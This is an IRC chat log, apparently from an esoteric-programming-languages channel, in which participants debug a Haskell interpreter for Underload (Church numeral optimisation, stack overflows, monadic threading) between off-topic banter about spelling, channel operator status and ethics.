01:33:58 <elliott> 1.1 Mio file in 18.4 seconds, not bad
01:34:05 <elliott> for ()(~:S(/)S(:*)*~:^):^
01:34:14 <elliott> hmm, I could do better
01:35:09 <elliott> $ time ./relief '(:*)(~:S(/)S:*~:^):^' >foo
01:35:10 <elliott> ^C
01:35:10 <elliott> real0m19.891s
01:35:10 <elliott> $ ls -lh foo
01:35:10 <elliott> -rw-r--r-- 1 elliott elliott 41M 2011-02-22 02:04 foo
01:35:11 <elliott> not bad.
01:35:24 <elliott> (in most interpreters that causes blowup... I think it does in mine too, but only because of one thing)
01:35:31 <elliott> specifically, "cat x x" needs to use Rept.
01:35:39 <elliott> also preferably cat would find common substrings and use Rept on those, but...
01:35:43 <elliott> (and Eq on Obj is non-trivial)
01:35:51 <elliott> well not that non-trivial now I guess
01:49:28 <oerjan> <elliott> oerjan's breaks are way too long, i should consider firing him <-- had a shower
01:49:46 <elliott> programmers need to be productive. hygiene is not a requirement.
01:49:52 <elliott> i find your time management inefficient >:)
01:50:05 <elliott> here's a wonderful patch of code i just wote
01:50:06 <elliott> *wrote
01:50:07 <elliott> -- FIXME: Probably *very* slow
01:50:08 <elliott> -- FIXME: Choose the "smallest" object of the two somehow
01:50:08 <elliott> -- FIXME: For Repts, just increment the repeat, don't nest
01:50:08 <elliott> -- FIXME: Blah blah blah...
01:50:08 <elliott> cat x y | x == y = Rept 2 x
01:50:24 <elliott> i am pretty sure this is a severe pessimisation but that could change!
01:50:35 <elliott> hmm, maybe i could use ghc's "is the exact same pointer" equality instead ;;DD
01:50:50 <oerjan> wth is Rept does church actually have to _know_?
01:51:00 <oerjan> oh right
01:51:02 <elliott> oerjan: (Rept n x) is just x repeated n times
01:51:07 <oerjan> gah
01:51:14 <elliott> used e.g. in this generic case:
01:51:16 <elliott> call (Church n _) (x:xs) = (Rept n x : xs, "")
01:51:20 <elliott> (for non-zero n, non-church x)
01:51:26 <elliott> oerjan: but don't make church take an Obj as an argument
01:51:28 <elliott> no point to at this point
01:51:33 <elliott> that can home later :P
01:51:46 <oerjan> elliott: um the point is it's hard to retrofit
01:51:59 <elliott> well er, good luck then
01:52:05 <cheater-> hello oerjan
01:52:05 <elliott> oerjan: (Catn x y) might give you some trouble...
01:52:20 <oerjan> also i doubt the wisdom of church'ing on concatenations
01:52:21 <cheater-> how's your ~! quest coming along?
01:52:26 <elliott> unfortunately i think unrolling Catn in general requires expanding Repts
01:52:36 <elliott> oerjan: don't support that, then
01:52:37 <cheater-> after reaching the heights, did you decide to continue and reach out to new heights?
01:52:49 <elliott> cat :: Obj -> Obj -> Obj
01:52:49 <elliott> cat (Church m xs) (Church n ys) = Church (m*n) (cat xs ys)
01:52:49 <elliott> cat (Quote xs) (Quote ys) = Quote (xs ++ ys)
01:52:49 <elliott> cat x y = Catn x y
01:53:01 <elliott> so Catn is just used for e.g. (cat x x), (cat rept church), and all that stuff
01:53:02 <oerjan> cheater-: um it was finished the last time i spoke about it
01:53:07 <elliott> (cat x x where x is neither Church nor Quote that is)
01:53:24 <oerjan> elliott: well without supporting that it's useless to support Obj's at all
01:53:38 <oerjan> since almost everything which builds a new church numeral is a Catn
01:53:42 <cheater-> oerjan: but i thought maybe you went on to eliminate yet another command
01:53:50 <elliott> oerjan: are you sure?
01:53:52 <oerjan> cheater-: i may.
01:53:55 <elliott> (:)(*)*, sure
01:53:57 <cheater-> oerjan: such as???????
01:54:06 <elliott> but e.g. (:*)(:*)*? well...
01:54:07 <elliott> you're right
01:54:10 <elliott> oerjan: support Catn then :-P
01:54:17 <elliott> but unrolling isn't an option so uh... good luck
01:54:27 <oerjan> cheater-: either that or prove that you cannot.
01:54:48 <cheater-> well get on with it already
01:55:02 <oerjan> cheater-: shut up
01:55:13 <elliott> I don't think there's any more TC sets smaller than or equally small as ~:()^ and :*()a^
01:55:22 <elliott> oerjan: good luck getting cheater to shut up ...
01:55:44 <oerjan> elliott: i don't _want_ to support Catn becaus church'ing on them can have _horrible_ asymptoticity. consider concatenating ::::::::::::: with **************
01:55:55 <elliott> oerjan: then what on earth do you suggest?
01:55:58 <elliott> reallyUnsafePtrEquality# :: a -> a -> Int#
01:55:58 <elliott> woot
01:56:24 <elliott> oerjan: i mean, forming integers like that is quite important
01:56:29 <elliott> oerjan: at least, you can do that with just counting up then counting down
01:56:41 <elliott> ofc that doesn't handle :*:*: and *:*, but nobody does that
01:56:45 <elliott> this is basically a heuristic
01:56:48 <oerjan> elliott: Data.Sequence would help, although that would reduce sharing
01:56:57 <elliott> STOP SUGGESTING SEQ FOR THINGS :D
01:57:13 <elliott> oerjan: i mean :^n with *^n is I think fairly common
01:57:16 <elliott> is it not?
01:57:22 <cheater-> oerjan: no u
01:57:23 <oerjan> elliott: well unbalanced Catn trees is what i see as the problem here
01:57:37 -!- ChanServ has set channel mode: +o oerjan.
01:57:40 <elliott> oerjan: I don't think you can really get those actually
01:58:01 <elliott> [+o: about time too]
01:58:02 <elliott> oerjan: hmm
01:58:10 <elliott> oerjan: in fact, ::: with *** will produce a single Quote
01:58:15 <elliott> so in fact [Op] should be fine for everything
01:59:17 <elliott> oerjan: btw will your function give up immediately if e.g. the input doesn't start with :? that's desirable for cat. otoh churchising _substrings_ (i.e. transforming {:^n}{*^n} in some code to Push (Church n ...), Call) might be useful...
02:00:33 <elliott> hmm perhaps I should optimise :* as a preprocessing step ...
02:00:49 <elliott> @hoogle Int# -> Int
02:00:49 <lambdabot> Data.Generics.Schemes gdepth :: GenericQ Int
02:00:49 <lambdabot> Data.Generics.Schemes glength :: GenericQ Int
02:00:49 <lambdabot> Data.Generics.Schemes gnodecount :: GenericQ Int
02:01:50 <oerjan> elliott: the [Op] one i have started writing only looks at the church numerals at the beginning
02:02:02 <elliott> I could always search or something, sounds inefficient though :)
02:03:11 <oerjan> but it gives the remaining [Op] in the tuple, so you can easily continue with it
02:03:14 <elliott> right
02:04:23 <oerjan> i think i'll right it this way, and then you can write the Obj version if you want >:)
02:04:26 <oerjan> *write
02:05:10 <oerjan> GODAMMIT I'M CHANNELING A NATIVE ENGLISH SPEAKER WITH BAD SPELLING
02:05:51 <cheater-> you know, they say you're good at english when you start making the same mistakes they do
02:05:51 <elliott> "write" -> "*write" :-D
02:05:54 <elliott> oh
02:05:55 <elliott> heh
02:05:56 <elliott> -- FIXME: WORST THING EVER
02:05:56 <elliott> cat x y | I# (reallyUnsafePtrEquality# x y) == 1 = Rept 2 x
02:06:25 <elliott> -- FIXME: WORST THING EVER, PROBABLY MUTILATES KITTENS IN ITS
02:06:25 <elliott> -- FREE TIME
02:06:28 <oerjan> cute
02:06:34 <pikhq> cheater-: oerjan is certainly better at English than many native speakers.
02:06:47 <cheater-> not saying he isn't
02:07:15 <pikhq> Granted, this probably says more about the native speakers than oerjan. It continues to disturb me how very bad many people were in my high school English classes.
02:07:25 <oerjan> pikhq: well with most of english being typing i just don't expect to switch _homophones_...
02:07:30 <oerjan> *my
02:07:38 <pikhq> oerjan: Hah.
02:07:41 <coppro> This is very true.
02:08:36 <cheater-> pikhq: i was told by the british that there was a period on the uk when learning english wasn't mandatory at all
02:09:03 <coppro> my university actually has a mandatory english exam for all students
02:09:05 <pikhq> cheater-: The UK or the Kingdom of Great Britain or the Kingdom of England?
02:09:08 <pikhq> It matters. :P
02:09:10 <coppro> on the basis that the high schools aren't good enough
02:09:29 <cheater-> pikhq: i have said "the uk"
02:09:30 <oerjan> oh food
02:09:38 <cheater-> i think it was in the late 80s or early 90s
02:09:42 <elliott> "by the british"
02:09:49 <elliott> I talked to the British the other day.
02:09:54 <elliott> They had bad teeth.
02:10:02 <cheater-> they have.
02:10:24 <cheater-> at least they make copious use of mouthwash when prompted.
02:11:26 <pikhq> cheater-: Yes, but many people end up using it to refer to geographic regions that are now part of the United Kingdom of Great Britain and Northern Ireland. Not to mention telling me which name for the kingdom in use lets me have a rough idea *when* you're talking about.
02:12:07 <elliott> pikhq: [troll feed etc.]
02:12:14 <pikhq> TL;DR: I'm a pedant.
02:13:44 <cheater-> i told you the dates
02:13:56 <pikhq> Hadn't when I asked.
02:13:57 -!- elliott has quit (Read error: Connection reset by peer).
02:14:17 -!- elliott has joined.
02:14:22 -!- zzo38 has joined.
02:14:25 <cheater-> head explodes
02:15:27 -!- elliott has quit (Read error: Connection reset by peer).
02:15:53 -!- elliott has joined.
02:16:47 <elliott> pikhq: can i call you sartre
02:20:57 -!- amca has joined.
02:20:57 -!- elliott has quit (Read error: Connection reset by peer).
02:21:17 -!- elliott has joined.
02:24:30 -!- elliott has quit (Client Quit).
02:24:37 -!- elliott has joined.
02:25:50 <elliott> WHERE IS OERJAN
02:25:51 <elliott> er
02:25:53 <elliott> AIS523
02:27:02 <elliott> oerjan: done yet ;D
02:27:29 <oerjan> BE CAREFUL I HAVE THE OPS
02:27:35 <zzo38> ais523 does not appear to be connected.
02:27:58 <elliott> oerjan: yeah but to the disappointment of all right-thinking people you have not yet exercised them. OBVIOUSLY I AM TALKING ABOUT GIVING VOICE TO PIKHQ
02:28:09 <elliott> LET US UNITE IN FAVOUR OF GIVING PIKHQ +V
02:29:09 <zzo38> I do not care whether or not to give voice to pikhq. What effect would be given? To exempt a quiet mode on the channel?
02:29:22 <elliott> FOR DEMOCRACY
02:29:23 <elliott> AND FREEDOM
02:29:31 <elliott> oerjan: MAKE OUR DREAM COME TRUE
02:29:34 <Gregor> oerjan: Give me +o! I just want a taste of ops! JUST A TASTE
02:29:37 -!- amca has quit (Quit: Farewell).
02:29:45 <oerjan> Gregor: YOU DON'T SAY
02:29:53 <elliott> LET US STAND AGAINST THOSE OPPRESSORS OF DEMOCRACY, THOSE TYRANTS WHO WOULD GAIN THEIR OPS TO DISCARD ALL RATIONALITY
02:29:55 <pikhq> Only him who wanteth it not may have op!
02:29:56 <Gregor> You can even /mode +o-o Gregor Gregor
02:29:57 <zzo38> Gregor: Create a new # type channel you automatically get +o (but can still remove it)
02:30:03 <pikhq> And I wanteth it not!
02:30:06 <elliott> HAVE FAITH THAT WITH VOICE PRIVILEGES, PIKHQ WILL LEAD US INTO A LAND OF HAPPINESS AND JOY!
02:30:11 <elliott> LOOK AT HIS DESERVING HUMBLENESS!
02:30:12 <zzo38> Gregor: What happens if you type conflicting modes like that?
02:30:17 <pikhq> elliott: ALSO BEER.
02:30:18 <elliott> I THINK THIS IS A CAUSE WE CAN ALL GET BEHIND!!!!!!!!
02:30:25 <Gregor> zzo38: They're applied in order, you can't really "conflict"
02:30:27 <elliott> oerjan: DO IT! DO IT NOW! DON'T DELAY! OR HESITATE!
02:30:29 <Gregor> The operation is atomic in principle.
02:30:37 <oerjan> sheesh
02:30:41 -!- oerjan has set channel mode: -o oerjan.
02:30:47 <Gregor> Awwwwwwwwwwww
02:30:54 <zzo38> (There is also & and ! type which you get +o automatically but Freenode has neither.)
02:30:57 <oerjan> IT SEEMED TO JUST ENCOURAGE PEOPLE
02:30:58 <elliott> WE ARE ALL DISAPPOINTED IN YOU. also, ban cheater- already.
02:31:14 -!- pikhq has set topic: No happiness and joy for us; oerjan hath spoken. | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
02:31:19 <zzo38> elliott: I think we do not need to ban them? But I don't say.
02:31:25 <oerjan> MWA
02:31:26 <oerjan> HA
02:31:27 <oerjan> HA
02:31:39 <elliott> zzo38: he's a persistent troll recognised as such by pretty much everyone i've spoken to.
02:31:45 <elliott> pikhq: LET'S RISE UP AGAINST OERJAN
02:31:48 <elliott> AND HIS ANTI-HAPPINESS, ANTI-JOY,
02:31:49 <elliott> ANTI-BEER WAYS
02:31:57 <oerjan> hey i am _not_ anti-beer!
02:32:00 <Mathnerd314> cheater-: are you a troll?
02:32:01 <elliott> IT'LL BE LIKE LYBIA, BUT WITH +B INSTEAD OF GUNS
02:32:10 <pikhq> He just is against *happy* drunks.
02:32:20 <elliott> Mathnerd314: I would love to a legal system based on your last line.
02:32:29 <elliott> "DID YOU KILL THE PUPPY?" "No." "Oh."
02:32:38 <elliott> "Mwahahahaha! [kills a puppy]" "DID YOU JUST-" "No."
02:32:41 <zzo38> As far as I know we do not need to ban them.
02:32:57 <Mathnerd314> elliott: then you ask "did you lie" under a polygraph test
02:32:58 <elliott> i didn't ask you :p
02:33:21 <elliott> Mathnerd314: Genius! Then everyone will go to jail, instead of noone.
02:34:03 <Mathnerd314> elliott: well, I think evidence factors in somehow
02:34:17 <elliott> so basically your legal system is boring and not at all like that line
02:34:21 <pikhq> Polygraphs are about as reliable as medicine by a witch doctor.
02:34:29 <pikhq> But less awesome.
02:34:32 <elliott> pikhq: THAT'S OFFENSIVE TO OERJAN'S BELIEFS
02:34:45 <pikhq> elliott: I try!
02:34:56 <Mathnerd314> elliott: no, it's just based around intention first and evidence later
02:35:22 <pikhq> Mathnerd314: So, estabilishing mens rea, then.
02:35:29 <elliott> mens' rear
02:35:36 <elliott> *men's
02:35:51 <pikhq> elliott: Only in Gayland, the state that is always happy.
02:36:01 <elliott> that sounds gay.
02:36:11 <pikhq> Why yes, yes it does.
02:36:29 <Mathnerd314> pikhq: if they admit wrongdoing, you're halfway there
02:37:03 <elliott> Mathnerd314: considering that most people who have done wrong will not admit so, and plenty of people who have done no wrong will admit so, that seems shaky at best.
02:37:23 * oerjan starts overengineering church
02:37:43 <elliott> oerjan: aargh :D
02:37:48 <elliott> oerjan: as long as it's /vaguely/ efficient...
02:37:58 <Mathnerd314> elliott: what? insane world.
02:38:05 <elliott> Mathnerd314: YOU DON'T SAY.
02:38:37 <Mathnerd314> elliott: the first thing will be brainwashing peopel to be rational
02:38:44 <Mathnerd314> s/pel/ple/
02:38:58 <elliott> Mathnerd314: that would pretty much eliminate wrongdoing. well, assuming you mean rational according to the same system of values.
02:39:17 <elliott> e.g. rational utilitarians, rational self-interest with /some/ concession to not killing everyone else and taking theirs poils, ...
02:39:28 <elliott> *their spoils,
02:41:30 <pikhq> elliott: Well, if you're going with perfectly idealness, Cant's moral imperative works. :)
02:41:49 <elliott> i don't agree with the moral imperative
02:42:49 <pikhq> Feh.
02:43:52 <Gregor> <elliott> IT'LL BE LIKE LYBIA, BUT WITH +B INSTEAD OF GUNS
02:43:58 <elliott> Lybia is the country's real name.
02:43:59 <Gregor> <elliott> IT'LL BE LIKE LYBIA, BUT WITH /b/ INSTEAD OF GUNS *fixt*
02:44:00 <elliott> Do not question me.
02:44:26 <Mathnerd314> I don't know, though... could the world be better off if everyone was dead?
02:44:41 <pikhq> Mathnerd314: Where "everyone" = ?
02:45:05 <pikhq> All life? All hominoids? All Homo sapiens?
02:45:14 <Mathnerd314> every living thing currently within the solar system
02:45:21 <Mathnerd314> say the sun went nova suddenly
02:45:27 <elliott> Mathnerd314: no, that would not be better.
02:45:38 <elliott> sentient life is valuable; that would destroy sentient life; Q.E.D.
02:45:49 <Mathnerd314> lol why
02:45:56 <elliott> lol why what
02:46:26 <Mathnerd314> why is sentient life valuable?
02:46:30 <pikhq> Mathnerd314: The world would certainly not be better off if all life on it stopped.
02:46:44 <pikhq> It would instead just be a giant chunk of rock in orbit.
02:46:48 <elliott> Mathnerd314: if x and y are sets, why does there exist a set which contains x and y as elements?
02:46:52 <elliott> OH RIGHT: because that's an axiom.
02:47:02 <pikhq> And who gives a fuck about that? There's trillions of those.
02:47:04 <elliott> More generically, _intelligence_ is valuable.
02:47:14 <elliott> And sentient life is what can be intelligent.
02:47:47 <Sgeo> "Better off" really is only in relation to something
02:47:50 <pikhq> elliott: Heck, life in and of itself seems to be valuable. It certainly doesn't seem to be all that common.
02:47:56 <Sgeo> Intelligent life seems to be the best thing to put there.
02:48:10 <elliott> pikhq: Certainly, but it is only valuable /because/ of sentient life.
02:48:24 <elliott> Because we like it, basically.
02:48:34 <pikhq> elliott: Well, without sentient life there is no such thing as "valuable".
02:48:41 <elliott> Same way that causing the Earth to disintegrate would be a bad idea, even though the Earth is not inherently valuable: it is valuable because we consider it valuable, and intelligence is intrinsically valuable.
02:48:47 <Sgeo> I don't think there is an inherent "valuable" except what we consideer ... ok, basically what everyone else is saying
02:48:56 <elliott> pikhq: There is in our models.
02:49:46 <Sgeo> elliott, what models?
02:50:20 <elliott> oerjan: HOW'S IT GOIN'
02:50:24 <elliott> WRITTEN A LINE YET
02:50:53 <Sgeo> When will EgoBot be lance-enabled?
02:52:43 <Sgeo> Ooh
02:52:49 <Sgeo> List of preloaded HSTS sites
02:55:28 -!- pikhq has quit (Ping timeout: 240 seconds).
02:55:41 -!- pikhq has joined.
02:57:11 -!- elliott has quit (Read error: Connection reset by peer).
02:57:48 -!- elliott has joined.
02:59:48 <elliott> oerjan: :|
03:00:11 <elliott> Sgeo: never; it's the buggy gearlance now. :p
03:00:23 <Sgeo> elliott, hmm? Why?
03:00:36 <elliott> Well, if Gregor wanted me to I can integrate it after the fixed-point scoring stuff is in, I suppose.
03:03:51 <elliott> Sgeo: Erm, what do you mean why>
03:03:53 <elliott> *why?
03:04:06 <Sgeo> Is gearlance based on lance?
03:04:18 <elliott> 18:52:49 <Sgeo> List of preloaded HSTS sites
03:04:18 <elliott> Err... http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security?
03:04:29 <Sgeo> Yes
03:05:01 <elliott> How on earth is that "ooh".
03:05:12 <Sgeo> There's a list of websites
03:05:18 <Sgeo> Not on that page what I was looking at
03:05:29 <Sgeo> http://dev.chromium.org/sts
03:05:41 <Sgeo> ^^Wow I can be incoherent sometimes
03:06:44 <elliott> I just don't see how on earth that's interesting.
03:07:44 <elliott> oerjan: :|
03:07:51 <oerjan> sheesh
03:07:57 <elliott> ;D
03:12:25 <elliott> oerjan: is it bad if your turing machine gets progressively slower each step?
03:12:48 <oerjan> um the 3 thousand something characters one?
03:12:53 <elliott> oerjan: no
03:12:53 <elliott> (( )S)(^!!)(((~:^~(~)S(^!!)~(^)~:^^)(!~(:^!^)~^^^)(!!~(:^!!^)~^^!^))(
03:12:54 <elliott> )!(!(~:^~(^!!)~:^^)(!~(:^!^)~^^!^)(!!~(:^!^)~^^^))(!!(~(:^!!^)~^^!!^)(
03:12:54 <elliott> )!(!(:)S(^!)~:^^)(!!(~)S(^)~:^^))):^^!^!!^
03:12:54 <elliott> that one
03:13:07 <elliott> $ ./relief '(:^):^'
03:13:08 <elliott> Stack space overflow: current size 8388608 bytes.
03:13:08 <elliott> Use `+RTS -Ksize -RTS' to increase it.
03:13:09 <elliott> wat.
03:13:17 <elliott> ok time to restructure this evaluation result mechanism :D
03:13:18 <oerjan> well it _does_ get a longer number ...
03:13:19 <Sgeo> <3 TOMT
03:13:55 <oerjan> elliott: but it shouldn't be approximately constant with respect to the no. of characters printed, i think
03:13:58 <oerjan> er
03:13:58 <oerjan> *should
03:14:45 <oerjan> the gap between printing one number and the next should increase proportionally with length
03:14:54 <elliott> oerjan: that's what i mean
03:15:00 <elliott> oerjan: but if church numeral arithmetic is O(1)
03:15:03 <elliott> should it not be constant?
03:15:18 <oerjan> elliott: er my turing machine uses absolutely no church numerals
03:15:28 <elliott> ah.
03:15:34 <elliott> well i'm sure I can optimise it SOMEHOW ;D
03:15:45 <oerjan> (note the hideous lack of * and ())
03:16:38 <elliott> oerjan: hey i just found a function where
03:16:42 <elliott> f (C x) _ = C x
03:16:42 <elliott> works
03:16:43 <elliott> but
03:16:47 <elliott> f o@(C _) _ = o
03:16:48 <elliott> doesn't
03:17:27 <oerjan> that seems impossible
03:17:39 <oerjan> anything to do with your unsafe equality? :D
03:17:44 <elliott> oerjan: nope
03:17:47 <elliott> data Result a e = End e
03:17:48 <elliott> | Failure String
03:17:48 <elliott> | Chunk a (Result a e)
03:17:48 <elliott> deriving (Show)
03:17:48 <elliott> instance Monad (Result a) where
03:17:48 <elliott> return = End
03:17:50 <elliott> End xs >>= f = f xs
03:17:52 <elliott> Failure s >>= _ = Failure s
03:17:54 <elliott> Chunk s r >>= f = Chunk s (r >>= f)
03:17:56 <elliott> fail = Failure
03:17:59 <elliott> oerjan: this works
03:18:02 <elliott> with @, it doesn't
03:18:04 <elliott> oerjan: it doesn't work because you have to return (m b) from >>=
03:18:06 <elliott> whereas the input is (m a)
03:18:10 <elliott> it's just that Failure is polymorphic in the a
03:18:14 <elliott> but the individual _value_ isn't
03:18:22 <elliott> this is vaguely screwy.
03:18:36 <oerjan> oh
03:19:05 <oerjan> ok that's understandable
03:19:16 <oerjan> i thought you meant a runtime difference
03:19:20 <elliott> ah
03:19:20 <elliott> heh
03:19:49 <elliott> oerjan: arguably it should be "Failure :: String -> (forall a e. Result a e)", but I'm not sure that would even help
03:19:54 <elliott> doubt it would
03:20:24 <elliott> let (xs',o1) = call p xs
03:20:25 <elliott> (xs'',o2) = call q xs'
03:20:25 <elliott> in (xs'', o1 ++ o2)
03:20:25 <elliott> --->
03:20:31 <elliott> call p xs >>= call q
03:20:34 <oerjan> no, that wouldn't pass the >>=
03:20:35 <elliott> Monads solve every problem.
03:20:37 <elliott> oerjan: right
03:20:45 <oerjan> elliott: if that passed, newIORef would be type unsafe
03:20:55 <elliott> oerjan: arguably it should be :P
03:21:08 <oerjan> huh?
03:21:14 <elliott> oerjan: ok for a very vague definition of arguably
03:21:26 <elliott> oerjan: because the unsafeperformio -> coerce trick relies on newIORef's polymorphism
03:21:54 <elliott> hm i hope this is as strict as the previous version...
03:22:57 <oerjan> elliott: yes that is precisely because unsafePerformIO bypasses the >>= restriction against forall types
03:24:43 <elliott> oerjan: yes yes :D
03:25:10 <elliott> @hoogle (a -> m b) -> Int -> a -> m b
03:25:10 <lambdabot> No results found
03:25:16 <elliott> hmm
03:25:28 <elliott> > iterate (g . f) x
03:25:29 <lambdabot> Ambiguous type variable `a' in the constraints:
03:25:29 <lambdabot> `SimpleReflect.FromExpr ...
03:25:32 <elliott> > iterate (g . f) x :: [Expr]
03:25:33 <lambdabot> Ambiguous type variable `a' in the constraints:
03:25:33 <lambdabot> `SimpleReflect.FromExpr ...
03:25:36 <elliott> >_<
03:25:42 <oerjan> what would you want that to do...
03:25:58 <elliott> oerjan: f x >>= f >>= f >>= ...
03:25:59 <elliott> n times
03:26:00 <oerjan> that @hoogle thing
03:26:06 <elliott> threadN, basically
03:26:15 <elliott> call (Rept n p) xs = sequence $ genericReplicate n (call p)
03:26:16 <oerjan> ah
03:26:17 <elliott> which is blatantly wrong
03:26:41 <oerjan> iterate (>>= f)
03:26:50 <elliott> right
03:27:31 <elliott> call (Rept n p) xs = iterate (>>= call p) (return xs) `genericIndex` n
03:27:33 <elliott> ugly, but whatever
03:27:45 <elliott> gah, and it _still_ blows the stack
03:28:16 <elliott> at least Thue-Morse still seems fast
03:29:17 <elliott> putResult :: Result String a -> IO ()
03:29:17 <elliott> putResult (End _) = return ()
03:29:17 <elliott> putResult (Chunk s x) = putStr s >> putResult x
03:29:17 <elliott> putResult (Failure s) = hPutStrLn stderr s >> exitFailure
03:29:26 <elliott> i _think_ this should be unwinding the stack as fast as >>= can fill it up
03:31:42 <elliott> oerjan: any progress >:D
03:31:52 <oerjan> iterate (>>= f) might build a large chunk, btw
03:32:24 -!- elliott has quit (Read error: Connection reset by peer).
03:32:28 <oerjan> *thunk
03:32:42 <oerjan> maybe you have large unevaluated ones
03:32:44 -!- elliott has joined.
03:32:47 <elliott> oerjan: laziness is the best thing ever that makes me want to claw my eyeballs out.
03:32:53 <elliott> and my internet connection is definitely lazy.
03:33:26 <elliott> oerjan: not sure how to avoid building a large thunk there, anyway
03:33:33 <elliott> oh i see what you mean
03:33:35 <elliott> i could write my own threader
03:34:21 <elliott> where thread 0 f x = return x
03:34:21 <elliott> thread n f x = thread (n-1) f x >>= f
03:34:26 <elliott> ok _that_ strikes me as an unwise way to write the function
03:34:59 <elliott> call (Rept n p) xs = return xs >>= thread n (call p)
03:35:00 <elliott> where thread 1 f = f
03:35:00 <elliott> thread n f = f >>= thread (n-1) f
03:35:00 <elliott> better.
03:35:07 <elliott> argh
03:35:12 <elliott> infinite type bullcrap
03:35:28 <elliott> hey oerjan write my trivial function for me, i'm too retarded to :D
03:36:07 <elliott> "Watson, bomb that Libyan city!
03:36:07 <elliott> [Bombs Toronto]" --reddit
03:41:26 -!- elliott has quit (Read error: Connection reset by peer).
03:41:47 -!- elliott has joined.
03:41:50 <zzo38> I thought of idea of a shogi variant called "Copper, Silver, Gold: An Indestructible Metallic Alloy" where if the copper, silver, gold generals are next to each other, then they cannot be captured?
03:43:16 <oerjan> elliott: thread 0 f x = return x; thread n f x = f x >>= thread (n-1) f
03:43:39 <elliott> OKAY THAT MAKES SENSE
03:44:02 <elliott> Still my /main/ problem is a stack overflow on (:^):^, because it's calling "call" recursively.
03:44:05 <elliott> Except it's a tail call.
03:44:09 <elliott> Then it calls run recursively, which does
03:44:13 <elliott> run [] xs = return xs
03:44:14 <elliott> run (i:p) xs = one i xs >>= run p
03:44:17 <elliott> so I think the >>= run p is killing it.
03:44:26 <elliott> Because it never reaches it, because it calls call again, etc.
03:44:35 <elliott> No?
03:45:06 <oerjan> elliott: if i is call then that run is not tail recursive is it?
03:45:18 <elliott> oerjan: well, precisely
03:45:21 <elliott> but i don't see how it could be, really
03:45:26 <elliott> without some continuation-passing style rubbish
03:45:47 <elliott> oerjan: more importantly, even if I fixed that, (:^x):^ would fail
03:45:51 <elliott> because it wouldn't be a tail-call
03:45:52 <Sgeo> WTF?
03:45:56 <oerjan> run (Call:p) (x:xs) = run (x++p) xs
03:45:58 <Sgeo> "wget is depreciated"
03:46:02 <Sgeo> --from a Reddit comment
03:46:16 <elliott> oerjan: lol, my call model isn't that simple
03:46:18 <elliott> I have a whole function for calling
03:46:26 <elliott> that wouldn't really work at all
03:46:33 <elliott> x can be a Church, for instance
03:46:38 <elliott> but I suppose I could condition on it
03:46:48 <elliott> and have call say "no, you handle it" for Quotes and Catns and Repts...
03:46:55 <elliott> actually for Repts that'd be ugly. argh.
03:47:07 <oerjan> elliott: indeed (:^x):^ _should_ build call stack afaict unless you're very clever
03:47:41 <elliott> oerjan: hm right
03:47:56 <elliott> run [] xs = return xs
03:47:56 <elliott> run [i] xs = one i xs
03:47:56 <elliott> run (i:p) xs = one i xs >>= run p
03:48:00 <elliott> there's the cheap-skate version
03:48:11 <elliott> I'd still like to optimise Call in general not to eat stack, though, but I doubt it'll be easy
03:48:15 <zzo38> Why is wget is depreciated?
03:48:15 <elliott> maybe if i do...
03:48:19 <elliott> zzo38: what
03:48:20 <elliott> ?
03:48:48 <elliott> run (Call:p) (Quote p':xs) = run (cat p' p) xs
03:48:52 <elliott> oerjan: i suppose that special case should be enough
03:49:02 <elliott> even if it is upsettingly specialcasey.
03:49:07 <elliott> e.g. doesn't handle Catn, Rept
03:49:11 <elliott> hmm I could handle Catn/Rept actually.
03:49:15 <elliott> wait. issue here is that run only does [Op].
03:49:16 <elliott> argh.
03:49:16 <zzo38> Sgeo posted a quotation so that is why I ask question.
03:49:24 <elliott> run (Call:p) (p':xs) = call (cat p' p) xs
03:49:26 <elliott> ok this should work.
03:49:28 <elliott> probably.
03:49:47 <elliott> even though it's stupid
03:49:54 <elliott> no, that won't work. well maybe
03:49:58 <oerjan> zzo38: i suspect he was pointing out the stupidity of the comment
03:50:22 <elliott> well it appears to work.
03:50:26 <elliott> it's hideous but it seems to work.
03:50:36 <Sgeo> http://www.reddit.com/r/netsec/comments/fo6zs/this_link_will_most_likely_crash_any_browser_and/c1hehj8
03:50:46 <Sgeo> Maybe I shouldn't take =) comments so literally
03:50:55 <elliott> oerjan: it just froze my computer.
03:50:58 <elliott> so maybe it's eating heap instead :D
03:51:02 <elliott> well obviously
03:51:18 <oerjan> i have a vague feeling of this project going down in flames
03:51:18 <elliott> thue-morse still runs.
03:51:22 <elliott> fast, too.
03:51:53 <elliott> oerjan: how's church coming along AHEM
03:52:07 <elliott> !help
03:52:07 -!- augur has quit (Remote host closed the connection).
03:52:12 <elliott> !info
03:52:25 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
03:52:25 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
03:52:41 <elliott> hm seems like there's no space leak... yes there is
03:52:41 <oerjan> i keep wavering on whether to use a stack of quotes seen in order to get things like (:*):*:*^
03:52:47 <elliott> it's approx. doubling its memory every now and then
03:52:51 <elliott> does the thue-morse program leak memory?
03:53:16 <elliott> oerjan: i can't think of any algo that would produce _that_
03:53:22 <elliott> oerjan: remember that this is a heuristic :P
03:53:30 <elliott> hm not even gcs seem to stop thue-morse leaking memory
03:53:53 <oerjan> well it's a reasonable way to write 2^4
03:54:07 -!- mr_mojo_risin has joined.
03:54:19 <elliott> oerjan: handle it then :P
03:54:20 <elliott> hi mr_mojo_risin
03:54:24 <zzo38> Can you make c command from Unlambda in the variant of Underload that has continutations?
03:54:25 <oerjan> argh
03:54:26 <mr_mojo_risin> hi
03:54:38 <elliott> zzo38: that's exactly what oerjan/mine/ais' (he came up with it too) C is
03:54:43 <elliott> mr_mojo_risin: this channel is about esoteric programming languages
03:54:50 <mr_mojo_risin> ok
03:55:27 -!- mr_mojo_risin has left (?).
03:55:27 -!- elliott has quit (Read error: Connection reset by peer).
03:55:47 -!- elliott has joined.
03:55:50 <elliott> mr_mojo_risin: see http://esolangs.org/ for more info :p
03:56:16 <zzo38> I mean in "Unlambda to Underload" section of the article, they have s,k,i,v (I added v) then can you add c and d as well, and what would it be, exactly?
03:56:26 <elliott> zzo38: oh. ais and oerjan did that too
03:56:27 <elliott> separately
03:56:39 <oerjan> elliott: i think he means directly, if we have C
